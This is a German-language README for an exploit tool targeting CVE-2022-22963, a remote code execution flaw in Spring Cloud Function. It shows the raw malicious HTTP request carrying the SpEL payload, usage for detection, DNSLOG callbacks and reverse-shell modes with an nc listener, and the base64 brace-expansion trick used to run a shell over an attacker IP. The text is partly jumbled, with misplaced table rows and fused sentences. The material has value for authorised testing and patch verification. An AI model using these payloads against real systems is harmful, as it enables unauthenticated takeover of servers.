
CVE-2022-22963-poc
Tool zur Erkennung und Ausnutzung der SpEL-Injection-RCE-Schwachstelle (Remote Code Execution) in Spring Cloud Function.
CVE-2022-22963 ist eine kritische RCE-Schwachstelle (CVSS 9.8) in der Routing-Funktion von Spring Cloud Function. Wenn der Endpunkt /functionRouter aktiviert ist, wird der Wert des Headers spring.cloud.function.routing-expression direkt als SpEL-Ausdruck (Spring Expression Language) ausgeführt. Ein Angreifer kann ohne Authentifizierung beliebige Systembefehle auf dem Zielserver ausführen.
Betroffene Versionen:
| Branch | Betroffene Versionen | Reparierte Version |
|---|---|---|
| 3.1.x | < 3.1.7 | 3.1.7 |
| 3.2.x | < 3.2.3 | 3.2.3 |
Schwachstellenprinzip:
POST /functionRouter HTTP/1.1
Host: target.example.com
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("id")
Content-Type: application/x-www-form-urlencoded
test
Nach der Ausführung des SpEL-Ausdrucks gibt exec() ein Process-Objekt zurück. Beim Versuch, es zu serialisieren, wirft Spring eine Ausnahme, und die Antwort hat den HTTP-Status 500. Der Befehl wird im Hintergrund asynchron ausgeführt, das Ergebnis wird nicht in der HTTP-Antwort angezeigt. Die Bestätigung erfolgt über einen Seitenkanal wie DNSLOG oder Reverse Shell.
ping-Requests an eine DNSLOG-Domain, um die Befehlsausführung durch DNS-Einträge zu bestätigen.pip install requests
Python 3.6+, keine weiteren Abhängigkeiten.
python3 CVE-2022-22963.py -u <Ziel-URL> [Optionen]
python3 CVE-2022-22963.py -u http://target.example.com -c
2024-01-01 12:00:00 - INFO - [+] http://target.example.com ist anfällig!
Zur Bestätigung, dass der Befehl tatsächlich ausgeführt wird, wenn keine sichtbare Rückmeldung erfolgt:
python3 CVE-2022-22963.py -u http://target.example.com -m dnslog -d abc123.dnslog.cn
2024-01-01 12:00:01 - INFO - [+] Payload gesendet. Bitte prüfen Sie, ob abc123.dnslog.cn einen DNS-Request erhalten hat (Bestätigung der tatsächlichen Ausführung).
Anschließend auf der DNSLOG-Plattform prüfen, ob ein DNS-Query vom Ziel-IP empfangen wurde.
Auf dem Angreifer-Rechner den Listener starten:
nc -lvnp 9999
Payload senden:
python3 CVE-2022-22963.py -u http://target.example.com -m shell -i 192.168.1.100 -p 9999
2024-01-01 12:00:02 - INFO - [+] Payload gesendet. Bitte warten Sie auf die Verbindung unter 192.168.1.100:9999 (nur Linux/bash-Ziele).
Hinweis: Die Reverse Shell erfordert
/dev/tcp-Unterstützung auf dem Zielsystem und funktioniert nur unter Linux mit bash. Windows-Ziele oder Shells wie sh/ash/dash werden nicht unterstützt.
Der Erkennungsrequest sendet einen echten SpEL-Ausdruck an /functionRouter:
T(java.lang.Runtime).getRuntime().exec('id')
Process-Objekt kann nicht serialisiert werden → HTTP 500 + "path":"/functionRouter"Runtime.exec(String) wird nicht von einer Shell interpretiert; der Befehl wird nach Leerzeichen aufgeteilt. Der Befehl kann keine Pipes oder Umleitungen verarbeiten. Das Tool umgeht dies wie folgt:
{cmd,arg} ersetzt Leerzeichen.-c verarbeitet.bash -c {echo,BASE64}|{base64,-d}|{bash,-i}
↕ Java exec tokenisiert nach Leerzeichen
["bash", "-c", "{echo,BASE64}|{base64,-d}|{bash,-i}"]
↕ bash -c führt Brace-Expansion durch
echo BASE64 | base64 -d | bash -i
| Datum | Version | Beschreibung |
|---|---|---|
| 2023-12-28 | v1.0 | Erstveröffentlichung |
| 2025-10-09 | v1.1 | Code-Umstrukturierung, Optimierung der Parameterverarbeitung und Fehlerbehandlung |
Dieses Tool ist ausschließlich für Sicherheitsforschung, autorisierte Penetrationstests und Bildungszwecke bestimmt.
Mit der Nutzung dieses Tools stimmen Sie zu:
Der Autor übernimmt keinerlei Haftung für unbefugte Nutzung oder deren Folgen.
| Parameter | Beschreibung | Standardwert |
|---|
-u, --url | Ziel-URL (erforderlich) | — |
-c, --check | Schwachstelle erkennen | — |
-m, --mode | Ausnutzungsmodus: dnslog oder shell | — |
-d, --dns | DNSLOG-Domain (bei -m dnslog) | — |
-i, --ip | Reverse-Shell-Empfänger-IP (bei -m shell) | — |
-p, --port | Reverse-Shell-Empfangsport | 9999 |
-t, --timeout | Timeout für Anfragen (Sekunden) | 5 |
| 2026-06-29 | v1.2 | Behebung von Fehlalarmen bei der Erkennung, Pfadverkettung für Context-Path, semantische Probleme bei Exploit-Rückgabewerten |